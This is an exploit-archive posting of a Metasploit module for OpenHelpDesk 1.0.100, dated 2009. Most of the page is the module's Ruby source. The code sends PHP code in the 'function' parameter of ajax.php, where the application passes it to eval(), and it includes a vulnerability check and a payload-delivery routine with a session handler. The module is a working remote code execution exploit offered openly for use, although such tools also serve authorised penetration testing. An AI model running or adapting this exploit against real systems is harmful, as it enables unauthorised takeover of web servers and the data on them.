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OpenHelpDesk 1.0.100 Code Execution

OpenHelpDesk 1.0.100 Code Execution
Posted Feb 2, 2009
Authored by LSO

This Metasploit module is for OpenHelpDesk version 1.0.100 that is vulnerability to php code execution to an improper use of eval().

tags | exploit, php, code execution
SHA-256 | 790a572fa2eaf8a14620e19f2985d1b25f1ddb1857ea163771dbd4fb5f3c3ffe

OpenHelpDesk 1.0.100 Code Execution

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##
# $Id: php_eval.rb 5783 2008-10-23 02:43:21Z ramon $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'OpenHelpDesk eval (previously unpublished)',
'Description' => %q{
OpenHelpDesk version 1.0.100 is vulnerable to a php code
execution vulnerability due to improper use of eval().
The php.ini register_globals directive is *not* required to be
on to exploit this vulnerability. There is no known public
exploit for this vulnerability.
},
'Author' => [ 'LSO <lso@hushmail.com>' ],
'License' => BSD_LICENSE,
'Version' => '$Revision$',
'References' => [ 'URL' , 'http://sourceforge.net/projects/openhelpdesk' ],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'Space' => 4000, # max url length for some old
# versions of apache according to
# http://www.boutell.com/newfaq/misc/urllength.html
'DisableNops' => true,
'BadChars' => %q|'"`|, # quotes are escaped by PHP's magic_quotes_gpc in a default install
'Compat' =>
{
'ConnectionType' => 'find',
},
'Keys' => ['php'],
},
'Targets' => [ ['Automatic', { }], ],
'DefaultTarget' => 0
))

register_options(
[
OptString.new('URIPATH', [ true, "The URI of ajax.php ", '/openhelpdesk/ajax.php']),
], self.class)

end

def check
tester = rand_text_alpha(10)
php_code = "echo('#{tester}');"

response = eval_sploit(php_code)

#print_status(response)
if (response && response.body.match(tester).to_a.first)
print_status("PHP code execution achieved; safe_mode or disable_functions might still prevent host compromise")
checkcode = Exploit::CheckCode::Vulnerable
else
checkcode = Exploit::CheckCode::Safe
end
return checkcode
end

def exploit
response = eval_sploit(payload.encoded)

handler
end

def eval_sploit(php_code)
uri = datastore['URIPATH'] + "?function=" + php_code + "//"
response = send_request_raw({ 'uri' => uri },1)
return response
end
end


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